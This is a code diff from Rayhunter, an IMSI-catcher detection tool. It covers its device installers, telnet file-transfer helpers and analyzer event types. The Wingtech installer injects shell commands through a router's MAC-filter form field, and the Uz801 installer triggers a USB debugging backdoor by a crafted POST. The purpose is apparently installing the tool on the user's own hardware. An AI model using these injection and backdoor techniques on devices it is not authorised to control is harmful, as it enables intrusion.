) )
.await?; .await?;
println!("Rebooting device and waiting 30 seconds for it to start up."); println!("Rebooting device and waiting 30 seconds for it to start up.");
telnet_send_command(addr, "reboot", "exit code 0", true).await?; telnet_send_command(addr, "reboot", "exit code 0").await?;
sleep(Duration::from_secs(30)).await; sleep(Duration::from_secs(30)).await;
echo!("Testing rayhunter ... "); echo!("Testing rayhunter ... ");
+18 -39
View File
@@ -106,29 +106,21 @@ async fn tplink_run_install(
if !skip_sdcard { if !skip_sdcard {
if sdcard_path.is_empty() { if sdcard_path.is_empty() {
let try_paths = [ if telnet_send_command(addr, "ls /media/card", "exit code 0")
.await
.is_ok()
{
// TP-Link hardware less than v9.0 // TP-Link hardware less than v9.0
"/media/card", sdcard_path = "/media/card".to_owned();
} else if telnet_send_command(addr, "ls /media/sdcard", "exit code 0")
.await
.is_ok()
{
// TP-Link hardware v9.0 // TP-Link hardware v9.0
"/media/sdcard", sdcard_path = "/media/sdcard".to_owned();
]; } else {
for path in try_paths {
if telnet_send_command(addr, &format!("ls {path}"), "exit code 0", true)
.await
.is_ok()
{
sdcard_path = path.to_owned();
break;
}
}
if sdcard_path.is_empty() {
anyhow::bail!( anyhow::bail!(
"Unable to determine sdcard path. Rayhunter needs a FAT-formatted SD card to function.\n\n\ "unable to determine sdcard path. this is a bug. please file an issue with your hardware version."
If you already inserted a FAT formatted SD card, this is a bug. Please file an issue with your hardware version.\n\n\
The installer has tried to find an empty folder to mount to on these paths: {try_paths:?}\n\
...but none of them exist.\n\n\
At this point, you may 'telnet {admin_ip}' and poke around in the device to figure out what went wrong yourself."
); );
} }
} }
@@ -138,12 +130,11 @@ async fn tplink_run_install(
addr, addr,
&format!("mount | grep -q {sdcard_path}"), &format!("mount | grep -q {sdcard_path}"),
"exit code 0", "exit code 0",
true,
) )
.await .await
.is_err() .is_err()
{ {
telnet_send_command(addr, &format!("mount /dev/mmcblk0p1 {sdcard_path}"), "exit code 0", true).await.context("Rayhunter needs a FAT-formatted SD card to function for more than a few minutes. Insert one and rerun this installer, or pass --skip-sdcard")?; telnet_send_command(addr, &format!("mount /dev/mmcblk0p1 {sdcard_path}"), "exit code 0").await.context("Rayhunter needs a FAT-formatted SD card to function for more than a few minutes. Insert one and rerun this installer, or pass --skip-sdcard")?;
} else { } else {
println!("sdcard already mounted"); println!("sdcard already mounted");
} }
@@ -151,13 +142,12 @@ async fn tplink_run_install(
// there is too little space on the internal flash to store anything, but the initrd script // there is too little space on the internal flash to store anything, but the initrd script
// expects things to be at this location // expects things to be at this location
telnet_send_command(addr, "rm -rf /data/rayhunter", "exit code 0", true).await?; telnet_send_command(addr, "rm -rf /data/rayhunter", "exit code 0").await?;
telnet_send_command(addr, "mkdir -p /data", "exit code 0", true).await?; telnet_send_command(addr, "mkdir -p /data", "exit code 0").await?;
telnet_send_command( telnet_send_command(
addr, addr,
&format!("ln -sf {sdcard_path} /data/rayhunter"), &format!("ln -sf {sdcard_path} /data/rayhunter"),
"exit code 0", "exit code 0",
true,
) )
.await?; .await?;
@@ -167,7 +157,6 @@ async fn tplink_run_install(
crate::CONFIG_TOML crate::CONFIG_TOML
.replace("#device = \"orbic\"", "device = \"tplink\"") .replace("#device = \"orbic\"", "device = \"tplink\"")
.as_bytes(), .as_bytes(),
true,
) )
.await?; .await?;
@@ -177,7 +166,6 @@ async fn tplink_run_install(
addr, addr,
&format!("{sdcard_path}/rayhunter-daemon"), &format!("{sdcard_path}/rayhunter-daemon"),
rayhunter_daemon_bin, rayhunter_daemon_bin,
true,
) )
.await?; .await?;
@@ -185,7 +173,6 @@ async fn tplink_run_install(
addr, addr,
"/etc/init.d/rayhunter_daemon", "/etc/init.d/rayhunter_daemon",
get_rayhunter_daemon(&sdcard_path).as_bytes(), get_rayhunter_daemon(&sdcard_path).as_bytes(),
true,
) )
.await?; .await?;
@@ -193,14 +180,12 @@ async fn tplink_run_install(
addr, addr,
&format!("chmod ugo+x {sdcard_path}/rayhunter-daemon"), &format!("chmod ugo+x {sdcard_path}/rayhunter-daemon"),
"exit code 0", "exit code 0",
true,
) )
.await?; .await?;
telnet_send_command( telnet_send_command(
addr, addr,
"chmod 755 /etc/init.d/rayhunter_daemon", "chmod 755 /etc/init.d/rayhunter_daemon",
"exit code 0", "exit code 0",
true,
) )
.await?; .await?;
@@ -208,20 +193,14 @@ async fn tplink_run_install(
// startup script. tplink v9 does not have update-rc.d, and it was reported that *sometimes* it // startup script. tplink v9 does not have update-rc.d, and it was reported that *sometimes* it
// is unreliable on other hardware revisions too. // is unreliable on other hardware revisions too.
if is_v3 { if is_v3 {
telnet_send_command( telnet_send_command(addr, "update-rc.d rayhunter_daemon defaults", "exit code 0").await?;
addr,
"update-rc.d rayhunter_daemon defaults",
"exit code 0",
true,
)
.await?;
} }
println!( println!(
"Done. Rebooting device. After it's started up again, check out the web interface at http://{admin_ip}:8080" "Done. Rebooting device. After it's started up again, check out the web interface at http://{admin_ip}:8080"
); );
telnet_send_command(addr, "reboot", "exit code 0", true).await?; telnet_send_command(addr, "reboot", "exit code 0").await?;
Ok(()) Ok(())
} }
@@ -299,7 +278,7 @@ async fn tplink_launch_telnet_v5(admin_ip: &str) -> Result<(), Error> {
let addr = SocketAddr::from_str(&format!("{admin_ip}:23")).unwrap(); let addr = SocketAddr::from_str(&format!("{admin_ip}:23")).unwrap();
while telnet_send_command(addr, "true", "exit code 0", true) while telnet_send_command(addr, "true", "exit code 0")
.await .await
.is_err() .is_err()
{ {
+15 -48
View File
@@ -22,32 +22,22 @@ pub async fn telnet_send_command(
addr: SocketAddr, addr: SocketAddr,
command: &str, command: &str,
expected_output: &str, expected_output: &str,
wait_for_prompt: bool,
) -> Result<()> { ) -> Result<()> {
let stream = TcpStream::connect(addr).await?; let stream = TcpStream::connect(addr).await?;
let (mut reader, mut writer) = stream.into_split(); let (mut reader, mut writer) = stream.into_split();
loop {
if wait_for_prompt { let mut next_byte = 0;
// Wait for initial '#' prompt from telnetd reader
loop { .read_exact(std::slice::from_mut(&mut next_byte))
let mut next_byte = 0; .await?;
reader if next_byte == b'#' {
.read_exact(std::slice::from_mut(&mut next_byte)) break;
.await?;
if next_byte == b'#' {
break;
}
} }
} }
writer.write_all(command.as_bytes()).await?; writer.write_all(command.as_bytes()).await?;
// by quoting the 'exit' here, we ensure that we do not read our own command line back as writer.write_all(b"; echo exit code $?\r\n").await?;
// "output" before we even hit enter, but the actual result of executing the echo.
writer
.write_all(b"; echo command done, 'exit' code $?\r\n")
.await?;
let mut read_buf = Vec::new(); let mut read_buf = Vec::new();
let _ = timeout(Duration::from_secs(10), async { let _ = timeout(Duration::from_secs(5), async {
let mut buf = [0; 4096]; let mut buf = [0; 4096];
loop { loop {
let Ok(bytes_read) = reader.read(&mut buf).await else { let Ok(bytes_read) = reader.read(&mut buf).await else {
@@ -58,12 +48,7 @@ pub async fn telnet_send_command(
continue; continue;
} }
read_buf.extend(bytes); read_buf.extend(bytes);
if read_buf.ends_with(b"/ # ") {
// when we see this string we know the command is done and can terminate.
// even if we sent command; exit, certain "telnet-like" shells (like nc contraptions)
// may not terminate the connection appropriately on their own.
let response = String::from_utf8_lossy(&read_buf);
if response.contains("command done, exit code ") {
break; break;
} }
} }
@@ -76,34 +61,18 @@ pub async fn telnet_send_command(
Ok(()) Ok(())
} }
pub async fn telnet_send_file( pub async fn telnet_send_file(addr: SocketAddr, filename: &str, payload: &[u8]) -> Result<()> {
addr: SocketAddr,
filename: &str,
payload: &[u8],
wait_for_prompt: bool,
) -> Result<()> {
echo!("Sending file {filename} ... "); echo!("Sending file {filename} ... ");
{ {
let filename = filename.to_owned(); let filename = filename.to_owned();
let handle = tokio::spawn(async move { let handle = tokio::spawn(async move {
telnet_send_command( telnet_send_command(addr, &format!("nc -l -p 8081 >{filename}.tmp"), "").await
addr,
&format!("nc -l -p 8081 >{filename}.tmp"),
"",
wait_for_prompt,
)
.await
}); });
sleep(Duration::from_millis(100)).await; sleep(Duration::from_millis(100)).await;
let mut addr = addr; let mut addr = addr;
addr.set_port(8081); addr.set_port(8081);
let mut stream = TcpStream::connect(addr).await?;
{ stream.write_all(payload).await?;
let mut stream = TcpStream::connect(addr).await?;
stream.write_all(payload).await?;
// ensure that stream is dropped before we wait for nc to terminate!
}
handle.await??; handle.await??;
} }
let checksum = md5::compute(payload); let checksum = md5::compute(payload);
@@ -111,14 +80,12 @@ pub async fn telnet_send_file(
addr, addr,
&format!("md5sum {filename}.tmp"), &format!("md5sum {filename}.tmp"),
&format!("{checksum:x} {filename}.tmp"), &format!("{checksum:x} {filename}.tmp"),
wait_for_prompt,
) )
.await?; .await?;
telnet_send_command( telnet_send_command(
addr, addr,
&format!("mv {filename}.tmp {filename}"), &format!("mv {filename}.tmp {filename}"),
"exit code 0", "exit code 0",
wait_for_prompt,
) )
.await?; .await?;
println!("ok"); println!("ok");
@@ -133,7 +100,7 @@ pub async fn send_file(admin_ip: &str, local_path: &str, remote_path: &str) -> R
let addr = SocketAddr::from_str(&format!("{admin_ip}:23")) let addr = SocketAddr::from_str(&format!("{admin_ip}:23"))
.with_context(|| format!("Invalid IP address: {admin_ip}"))?; .with_context(|| format!("Invalid IP address: {admin_ip}"))?;
telnet_send_file(addr, remote_path, &file_content, true) telnet_send_file(addr, remote_path, &file_content)
.await .await
.with_context(|| format!("Failed to send file {local_path} to {remote_path}"))?; .with_context(|| format!("Failed to send file {local_path} to {remote_path}"))?;
-239
View File
@@ -1,239 +0,0 @@
use std::io::Write;
use std::path::Path;
/// Installer for the Uz801 hotspot.
///
/// Installation process:
/// 1. Use curl to activate USB debugging backdoor
/// 2. Wait for device reboot and ADB availability
/// 3. Use ADB to install rayhunter files
/// 4. Modify startup script to launch rayhunter on boot
use std::time::Duration;
use adb_client::{ADBDeviceExt, ADBUSBDevice, RustADBError};
use anyhow::{Result, anyhow};
use md5::compute as md5_compute;
use tokio::time::sleep;
use crate::Uz801Args as Args;
use crate::util::echo;
pub async fn install(Args { admin_ip }: Args) -> Result<()> {
run_install(admin_ip).await
}
async fn run_install(admin_ip: String) -> Result<()> {
echo!("Activating USB debugging backdoor... ");
activate_usb_debug(&admin_ip).await?;
println!("ok");
echo!("Waiting for device reboot and ADB connection... ");
let mut adb_device = wait_for_adb().await?;
println!("ok");
echo!("Installing rayhunter files... ");
install_rayhunter_files(&mut adb_device).await?;
println!("ok");
echo!("Modifying startup script... ");
modify_startup_script(&mut adb_device).await?;
println!("ok");
echo!("Rebooting the device... ");
let _ = adb_device.reboot(adb_client::RebootType::System);
println!("ok");
println!("Installation complete!");
println!("Please wait for the device to reboot (light will turn green)");
println!("Then access rayhunter at: http://{admin_ip}:8080");
Ok(())
}
pub async fn activate_usb_debug(admin_ip: &str) -> Result<()> {
let url = format!("http://{admin_ip}/ajax");
let referer = format!("http://{admin_ip}/usbdebug.html");
let origin = format!("http://{admin_ip}");
let _handle = tokio::spawn(async move {
let client = reqwest::Client::builder()
.timeout(Duration::from_secs(5))
.build()
.unwrap();
let _response = client
.post(&url)
.header("Accept", "application/json, text/javascript, */*; q=0.01")
.header("Accept-Encoding", "gzip, deflate")
.header("Referer", &referer)
.header(
"Content-Type",
"application/x-www-form-urlencoded; charset=UTF-8",
)
.header("X-Requested-With", "XMLHttpRequest")
.header("Origin", &origin)
.body(r#"{"funcNo":2001}"#)
.send()
.await;
// Ignore any errors - the device will reboot and connection will be lost
});
Ok(())
}
async fn wait_for_adb() -> Result<ADBUSBDevice> {
const MAX_ATTEMPTS: u32 = 30; // 30 seconds
let mut attempts = 0;
// Wait a bit for the reboot to start
sleep(Duration::from_secs(10)).await;
loop {
if attempts >= MAX_ATTEMPTS {
anyhow::bail!("Timeout waiting for ADB connection after USB debug activation");
}
// UZ801 USB vendor and product IDs.
// TODO: Research if other variants use different IDs.
match ADBUSBDevice::new_no_auth(0x05c6, 0x90b6) {
Ok(mut device) => {
// Test ADB connection
if test_adb_connection(&mut device).await.is_ok() {
return Ok(device);
}
}
Err(RustADBError::DeviceNotFound(_)) => {
// Device not ready yet, continue waiting
}
Err(e) => {
anyhow::bail!("ADB connection error: {}", e);
}
}
sleep(Duration::from_secs(1)).await;
attempts += 1;
}
}
async fn test_adb_connection(adb_device: &mut ADBUSBDevice) -> Result<()> {
let mut buf = Vec::<u8>::new();
adb_device.shell_command(&["echo", "test"], &mut buf)?;
let output = String::from_utf8_lossy(&buf);
if output.contains("test") {
Ok(())
} else {
anyhow::bail!("ADB connection test failed")
}
}
async fn install_rayhunter_files(adb_device: &mut ADBUSBDevice) -> Result<()> {
// Create rayhunter directory
let mut buf = Vec::<u8>::new();
adb_device.shell_command(&["mkdir", "-p", "/data/rayhunter"], &mut buf)?;
// Remount system as writable
adb_device.shell_command(&["mount", "-o", "remount,rw", "/system"], &mut buf)?;
// Install rayhunter daemon binary with verification
let rayhunter_daemon_bin = include_bytes!(env!("FILE_RAYHUNTER_DAEMON"));
install_file(
adb_device,
"/data/rayhunter/rayhunter-daemon",
rayhunter_daemon_bin,
)?;
// Install config file
let config_content = crate::CONFIG_TOML.replace("#device = \"orbic\"", "device = \"uz801\"");
let mut config_data = config_content.as_bytes();
adb_device.push(&mut config_data, &"/data/rayhunter/config.toml")?;
// Make daemon executable
let mut buf = Vec::<u8>::new();
adb_device.shell_command(
&["chmod", "755", "/data/rayhunter/rayhunter-daemon"],
&mut buf,
)?;
Ok(())
}
/// Transfer a file to the device's filesystem with adb push.
/// Validates the file sends successfully to /data/local/tmp
/// before overwriting the destination.
fn install_file(adb_device: &mut ADBUSBDevice, dest: &str, payload: &[u8]) -> Result<()> {
const MAX_RETRIES: u32 = 3;
let file_name = Path::new(dest)
.file_name()
.ok_or_else(|| anyhow!("{dest} does not have a file name"))?
.to_str()
.ok_or_else(|| anyhow!("{dest}'s file name is not UTF8"))?
.to_owned();
let push_tmp_path = format!("/data/local/tmp/{file_name}");
let file_hash = md5_compute(payload);
for attempt in 1..=MAX_RETRIES {
// Push the file
let mut payload_copy = payload;
if let Err(e) = adb_device.push(&mut payload_copy, &push_tmp_path) {
if attempt == MAX_RETRIES {
return Err(e.into());
}
continue;
}
// Verify with md5sum
let mut buf = Vec::<u8>::new();
if adb_device
.shell_command(&["busybox", "md5sum", &push_tmp_path], &mut buf)
.is_ok()
{
let output = String::from_utf8_lossy(&buf);
if output.contains(&format!("{file_hash:x}")) {
// Verification successful, move to final destination
let mut buf = Vec::<u8>::new();
adb_device.shell_command(&["mv", &push_tmp_path, dest], &mut buf)?;
println!("ok");
return Ok(());
}
}
// Verification failed, clean up and retry
if attempt < MAX_RETRIES {
println!("MD5 verification failed on attempt {attempt}, retrying...");
let mut buf = Vec::<u8>::new();
adb_device
.shell_command(&["rm", "-f", &push_tmp_path], &mut buf)
.ok();
}
}
anyhow::bail!("MD5 verification failed for {dest} after {MAX_RETRIES} attempts")
}
async fn modify_startup_script(adb_device: &mut ADBUSBDevice) -> Result<()> {
// Pull the existing startup script
let mut script_content = Vec::<u8>::new();
adb_device.pull(&"/system/bin/initmifiservice.sh", &mut script_content)?;
// Convert to string and add our line
let mut script_str = String::from_utf8_lossy(&script_content).into_owned();
// Add rayhunter startup line if not already present
let rayhunter_line = "/data/rayhunter/rayhunter-daemon /data/rayhunter/config.toml &\n";
if !script_str.contains("/data/rayhunter/rayhunter-daemon") {
script_str.push_str(rayhunter_line);
}
// Push the modified script back
let mut modified_script = script_str.as_bytes();
adb_device.push(&mut modified_script, &"/system/bin/initmifiservice.sh")?;
// Make sure it's executable
let mut buf = Vec::<u8>::new();
adb_device.shell_command(
&["chmod", "755", "/system/bin/initmifiservice.sh"],
&mut buf,
)?;
Ok(())
}
+4 -15
View File
@@ -75,7 +75,7 @@ pub async fn run_command(admin_ip: &str, admin_password: &str, cmd: &str) -> Res
.context("login did not return a token in response")?; .context("login did not return a token in response")?;
let command = client.post(&qcmap_web_cgi_endpoint) let command = client.post(&qcmap_web_cgi_endpoint)
.body(format!("page=setFWMacFilter&cmd=del&mode=0&mac=50:5A:CA:B5:05||{cmd}&key=50:5A:CA:B5:05:AC&token={token}")) .body(format!("page=setFWMacFilter&cmd=add&mode=0&mac=50:5A:CA:B5:05||{cmd}&key=50:5A:CA:B5:05:AC&token={token}"))
.send() .send()
.await?; .await?;
if command.status() != 200 { if command.status() != 200 {
@@ -95,7 +95,7 @@ async fn wingtech_run_install(admin_ip: String, admin_password: String) -> Resul
echo!("Connecting via telnet to {admin_ip} ... "); echo!("Connecting via telnet to {admin_ip} ... ");
let addr = SocketAddr::from_str(&format!("{admin_ip}:23")).unwrap(); let addr = SocketAddr::from_str(&format!("{admin_ip}:23")).unwrap();
telnet_send_command(addr, "mkdir -p /data/rayhunter", "exit code 0", true).await?; telnet_send_command(addr, "mkdir -p /data/rayhunter", "exit code 0").await?;
println!("ok"); println!("ok");
telnet_send_file( telnet_send_file(
@@ -104,7 +104,6 @@ async fn wingtech_run_install(admin_ip: String, admin_password: String) -> Resul
crate::CONFIG_TOML crate::CONFIG_TOML
.replace("#device = \"orbic\"", "device = \"wingtech\"") .replace("#device = \"orbic\"", "device = \"wingtech\"")
.as_bytes(), .as_bytes(),
true,
) )
.await?; .await?;
@@ -113,40 +112,30 @@ async fn wingtech_run_install(admin_ip: String, admin_password: String) -> Resul
addr, addr,
"/data/rayhunter/rayhunter-daemon", "/data/rayhunter/rayhunter-daemon",
rayhunter_daemon_bin, rayhunter_daemon_bin,
true,
) )
.await?; .await?;
telnet_send_command( telnet_send_command(
addr, addr,
"chmod 755 /data/rayhunter/rayhunter-daemon", "chmod 755 /data/rayhunter/rayhunter-daemon",
"exit code 0", "exit code 0",
true,
) )
.await?; .await?;
telnet_send_file( telnet_send_file(
addr, addr,
"/etc/init.d/rayhunter_daemon", "/etc/init.d/rayhunter_daemon",
crate::RAYHUNTER_DAEMON_INIT.as_bytes(), crate::RAYHUNTER_DAEMON_INIT.as_bytes(),
true,
) )
.await?; .await?;
telnet_send_command( telnet_send_command(
addr, addr,
"chmod 755 /etc/init.d/rayhunter_daemon", "chmod 755 /etc/init.d/rayhunter_daemon",
"exit code 0", "exit code 0",
true,
)
.await?;
telnet_send_command(
addr,
"update-rc.d rayhunter_daemon defaults",
"exit code 0",
true,
) )
.await?; .await?;
telnet_send_command(addr, "update-rc.d rayhunter_daemon defaults", "exit code 0").await?;
println!("Rebooting device and waiting 30 seconds for it to start up."); println!("Rebooting device and waiting 30 seconds for it to start up.");
telnet_send_command(addr, "shutdown -r -t 1 now", "exit code 0", true).await?; telnet_send_command(addr, "reboot", "exit code 0").await?;
sleep(Duration::from_secs(30)).await; sleep(Duration::from_secs(30)).await;
echo!("Testing rayhunter ... "); echo!("Testing rayhunter ... ");
+2 -5
View File
@@ -1,6 +1,6 @@
[package] [package]
name = "rayhunter" name = "rayhunter"
version = "0.6.1" version = "0.5.0"
edition = "2024" edition = "2024"
description = "Realtime cellular data decoding and analysis for IMSI catcher detection" description = "Realtime cellular data decoding and analysis for IMSI catcher detection"
@@ -21,10 +21,7 @@ pcap-file-tokio = "0.1.0"
pycrate-rs = { git = "https://github.com/EFForg/pycrate-rs" } pycrate-rs = { git = "https://github.com/EFForg/pycrate-rs" }
thiserror = "1.0.50" thiserror = "1.0.50"
telcom-parser = { path = "../telcom-parser" } telcom-parser = { path = "../telcom-parser" }
tokio = { version = "1.44.2", default-features = false, features = ["time", "rt", "macros", "fs"] } tokio = { version = "1.44.2", default-features = false, features = ["time", "rt", "macros"] }
futures = { version = "0.3.30", default-features = false } futures = { version = "0.3.30", default-features = false }
serde = { version = "1.0.197", features = ["derive"] } serde = { version = "1.0.197", features = ["derive"] }
serde_json = "1.0"
num_enum = "0.7.4" num_enum = "0.7.4"
[dev-dependencies]
+26 -244
View File
@@ -12,7 +12,6 @@ use super::{
imsi_requested::ImsiRequestedAnalyzer, incomplete_sib::IncompleteSibAnalyzer, imsi_requested::ImsiRequestedAnalyzer, incomplete_sib::IncompleteSibAnalyzer,
information_element::InformationElement, nas_null_cipher::NasNullCipherAnalyzer, information_element::InformationElement, nas_null_cipher::NasNullCipherAnalyzer,
null_cipher::NullCipherAnalyzer, priority_2g_downgrade::LteSib6And7DowngradeAnalyzer, null_cipher::NullCipherAnalyzer, priority_2g_downgrade::LteSib6And7DowngradeAnalyzer,
test_analyzer::TestAnalyzer,
}; };
#[derive(Debug, Clone, Deserialize, Serialize)] #[derive(Debug, Clone, Deserialize, Serialize)]
@@ -24,7 +23,6 @@ pub struct AnalyzerConfig {
pub null_cipher: bool, pub null_cipher: bool,
pub nas_null_cipher: bool, pub nas_null_cipher: bool,
pub incomplete_sib: bool, pub incomplete_sib: bool,
pub test_analyzer: bool,
} }
impl Default for AnalyzerConfig { impl Default for AnalyzerConfig {
@@ -36,70 +34,37 @@ impl Default for AnalyzerConfig {
null_cipher: true, null_cipher: true,
nas_null_cipher: true, nas_null_cipher: true,
incomplete_sib: true, incomplete_sib: true,
test_analyzer: false,
} }
} }
} }
pub const REPORT_VERSION: u32 = 2; pub const REPORT_VERSION: u32 = 2;
/// The severity level of an event. /// Qualitative measure of how severe a Warning event type is.
/// /// The levels should break down like this:
/// Informational does not result in any alert on the display. /// * Low: if combined with a large number of other Warnings, user should investigate
#[derive(Serialize, Debug, Clone, Copy, PartialEq, Eq, PartialOrd, Ord)] /// * Medium: if combined with a few other Warnings, user should investigate
pub enum EventType { /// * High: user should investigate
Informational = 0, #[derive(Serialize, Debug, Clone)]
Low = 1, pub enum Severity {
Medium = 2, Low,
High = 3, Medium,
High,
} }
impl<'de> Deserialize<'de> for EventType { /// `QualitativeWarning` events will always be shown to the user in some manner,
fn deserialize<D>(deserializer: D) -> Result<Self, D::Error> /// while `Informational` ones may be hidden based on user settings.
where #[derive(Serialize, Debug, Clone)]
D: serde::Deserializer<'de>, #[serde(tag = "type")]
{ pub enum EventType {
use serde::de::Error; Informational,
QualitativeWarning { severity: Severity },
#[derive(Deserialize)]
#[serde(tag = "type")]
enum OldEventType {
QualitativeWarning { severity: String },
Informational,
}
#[derive(Deserialize)]
#[serde(untagged)]
enum EventTypeHelper {
New(String),
Old(OldEventType),
}
match EventTypeHelper::deserialize(deserializer)? {
EventTypeHelper::New(s) => match s.as_str() {
"Informational" => Ok(EventType::Informational),
"Low" => Ok(EventType::Low),
"Medium" => Ok(EventType::Medium),
"High" => Ok(EventType::High),
_ => Err(D::Error::custom(format!("unknown EventType: {s}"))),
},
EventTypeHelper::Old(old) => match old {
OldEventType::Informational => Ok(EventType::Informational),
OldEventType::QualitativeWarning { severity } => match severity.as_str() {
"Low" => Ok(EventType::Low),
"Medium" => Ok(EventType::Medium),
"High" => Ok(EventType::High),
_ => Err(D::Error::custom(format!("unknown severity: {severity}"))),
},
},
}
}
} }
/// Events are user-facing signals that can be emitted by an [Analyzer] upon a /// Events are user-facing signals that can be emitted by an [Analyzer] upon a
/// message being received. They can be used to signifiy an IC detection /// message being received. They can be used to signifiy an IC detection
/// warning, or just to display some relevant information to the user. /// warning, or just to display some relevant information to the user.
#[derive(Serialize, Deserialize, Debug, Clone)] #[derive(Serialize, Debug, Clone)]
pub struct Event { pub struct Event {
pub event_type: EventType, pub event_type: EventType,
pub message: String, pub message: String,
@@ -111,14 +76,14 @@ pub struct Event {
/// many hours at a time with dozens of [Analyzers](Analyzer) working in parallel. /// many hours at a time with dozens of [Analyzers](Analyzer) working in parallel.
pub trait Analyzer { pub trait Analyzer {
/// Returns a user-friendly, concise name for your heuristic. /// Returns a user-friendly, concise name for your heuristic.
fn get_name(&self) -> Cow<'_, str>; fn get_name(&self) -> Cow<str>;
/// Returns a user-friendly description of what your heuristic looks for, /// Returns a user-friendly description of what your heuristic looks for,
/// the types of [Events](Event) it may return, as well as possible false-positive /// the types of [Events](Event) it may return, as well as possible false-positive
/// conditions that may trigger an [Event]. If different [Events](Event) have /// conditions that may trigger an [Event]. If different [Events](Event) have
/// different false-positive conditions, consider including them in its /// different false-positive conditions, consider including them in its
/// `message` field. /// `message` field.
fn get_description(&self) -> Cow<'_, str>; fn get_description(&self) -> Cow<str>;
/// Analyze a single [InformationElement], possibly returning an [Event] if your /// Analyze a single [InformationElement], possibly returning an [Event] if your
/// heuristic deems it relevant. Again, be mindful of any state your /// heuristic deems it relevant. Again, be mindful of any state your
@@ -132,77 +97,21 @@ pub trait Analyzer {
fn get_version(&self) -> u32; fn get_version(&self) -> u32;
} }
#[derive(Serialize, Deserialize, Debug)] #[derive(Serialize, Debug)]
pub struct AnalyzerMetadata { pub struct AnalyzerMetadata {
pub name: String, pub name: String,
pub description: String, pub description: String,
pub version: u32, pub version: u32,
} }
#[derive(Serialize, Deserialize, Debug)] #[derive(Serialize, Debug)]
#[serde(default)]
#[derive(Default)]
pub struct ReportMetadata { pub struct ReportMetadata {
pub analyzers: Vec<AnalyzerMetadata>, pub analyzers: Vec<AnalyzerMetadata>,
pub rayhunter: RuntimeMetadata, pub rayhunter: RuntimeMetadata,
// anytime the format of the report changes, bump this by 1 // anytime the format of the report changes, bump this by 1
//
// the default is 0. we consider our legacy (unversioned) heuristics to be v0 -- this'll let us
// clearly differentiate some known false-positive-results from the pre-versioned era from v1
// heuristics
pub report_version: u32, pub report_version: u32,
} }
impl ReportMetadata {
/// Normalize the report metadata to the current version
pub fn normalize(&mut self) {
self.report_version = REPORT_VERSION;
}
}
/// Normalizer for analysis report lines that maintains state internally.
/// The first line is expected to be ReportMetadata, and subsequent lines
/// are expected to be AnalysisRow entries.
pub struct AnalysisLineNormalizer {
is_first: bool,
}
impl Default for AnalysisLineNormalizer {
fn default() -> Self {
Self::new()
}
}
impl AnalysisLineNormalizer {
pub fn new() -> Self {
Self { is_first: true }
}
/// Normalize a single line from an analysis report.
/// Returns the normalized JSON string with a newline appended.
pub fn normalize_line(&mut self, line: String) -> String {
if self.is_first {
self.is_first = false;
// the first line is the report metadata. we overwrite the report version there to
// latest, because the output of the remaining lines will follow latest versions
if let Ok(mut metadata) = serde_json::from_str::<ReportMetadata>(&line) {
metadata.normalize();
serde_json::to_string(&metadata).unwrap_or(line) + "\n"
} else {
line + "\n"
}
} else {
// Remaining lines are AnalysisRow, roundtrip them through serde to normalize them.
if let Ok(row) = serde_json::from_str::<AnalysisRow>(&line) {
serde_json::to_string(&row).unwrap_or(line) + "\n"
} else {
line + "\n"
}
}
}
}
#[derive(Serialize, Debug)] #[derive(Serialize, Debug)]
pub struct AnalysisRow { pub struct AnalysisRow {
pub packet_timestamp: Option<DateTime<FixedOffset>>, pub packet_timestamp: Option<DateTime<FixedOffset>>,
@@ -216,81 +125,12 @@ impl AnalysisRow {
} }
pub fn contains_warnings(&self) -> bool { pub fn contains_warnings(&self) -> bool {
self.get_max_event_type() != EventType::Informational for event in self.events.iter().flatten() {
} if matches!(event.event_type, EventType::QualitativeWarning { .. }) {
return true;
pub fn get_max_event_type(&self) -> EventType {
self.events
.iter()
.flatten()
.map(|event| event.event_type)
.max()
.unwrap_or(EventType::Informational)
}
}
impl<'de> Deserialize<'de> for AnalysisRow {
fn deserialize<D>(deserializer: D) -> Result<Self, D::Error>
where
D: serde::Deserializer<'de>,
{
use serde::de::Error;
#[derive(Deserialize)]
struct V1AnalysisEntry {
timestamp: DateTime<FixedOffset>,
events: Vec<Option<Event>>,
}
#[derive(Deserialize)]
struct V1Format {
timestamp: DateTime<FixedOffset>,
skipped_message_reasons: Vec<String>,
analysis: Vec<V1AnalysisEntry>,
}
#[derive(Deserialize)]
struct V2Format {
packet_timestamp: Option<DateTime<FixedOffset>>,
skipped_message_reason: Option<String>,
events: Vec<Option<Event>>,
}
#[derive(Deserialize)]
#[serde(untagged)]
enum RowFormat {
V1(V1Format),
V2(V2Format),
}
match RowFormat::deserialize(deserializer)? {
RowFormat::V1(v1) => {
// For v1 format, we can only deserialize the first non-skipped analysis entry
// The caller needs to handle multiple rows differently for v1
if let Some(first_analysis) = v1.analysis.first() {
Ok(AnalysisRow {
packet_timestamp: Some(first_analysis.timestamp),
skipped_message_reason: None,
events: first_analysis.events.clone(),
})
} else if let Some(first_reason) = v1.skipped_message_reasons.first() {
Ok(AnalysisRow {
packet_timestamp: Some(v1.timestamp),
skipped_message_reason: Some(first_reason.clone()),
events: Vec::new(),
})
} else {
Err(D::Error::custom(
"V1 format has no analysis entries or skipped reasons",
))
}
} }
RowFormat::V2(v2) => Ok(AnalysisRow {
packet_timestamp: v2.packet_timestamp,
skipped_message_reason: v2.skipped_message_reason,
events: v2.events,
}),
} }
false
} }
} }
@@ -335,10 +175,6 @@ impl Harness {
harness.add_analyzer(Box::new(IncompleteSibAnalyzer::new())) harness.add_analyzer(Box::new(IncompleteSibAnalyzer::new()))
} }
if analyzer_config.test_analyzer {
harness.add_analyzer(Box::new(TestAnalyzer::new()))
}
harness harness
} }
@@ -450,57 +286,3 @@ impl Harness {
} }
} }
} }
#[cfg(test)]
mod tests {
use super::*;
use serde_json::json;
#[test]
fn test_analysis_row_deserialize_old_format() {
let row: AnalysisRow = serde_json::from_value(json!({
"packet_timestamp": "2023-01-01T00:00:00+00:00",
"skipped_message_reason": null,
"events": [
{
"event_type": { "type": "QualitativeWarning", "severity": "High" },
"message": "Test warning"
},
{
"event_type": { "type": "Informational" },
"message": "Test info"
},
null
]
}))
.unwrap();
assert_eq!(row.events[0].as_ref().unwrap().event_type, EventType::High);
assert_eq!(
row.events[1].as_ref().unwrap().event_type,
EventType::Informational
);
assert!(row.events[2].is_none());
}
#[test]
fn test_analysis_row_deserialize_new_format() {
let row: AnalysisRow = serde_json::from_value(json!({
"packet_timestamp": "2023-01-01T00:00:00+00:00",
"skipped_message_reason": null,
"events": [
{ "event_type": "High", "message": "Test warning" },
{ "event_type": "Informational", "message": "Test info" },
null
]
}))
.unwrap();
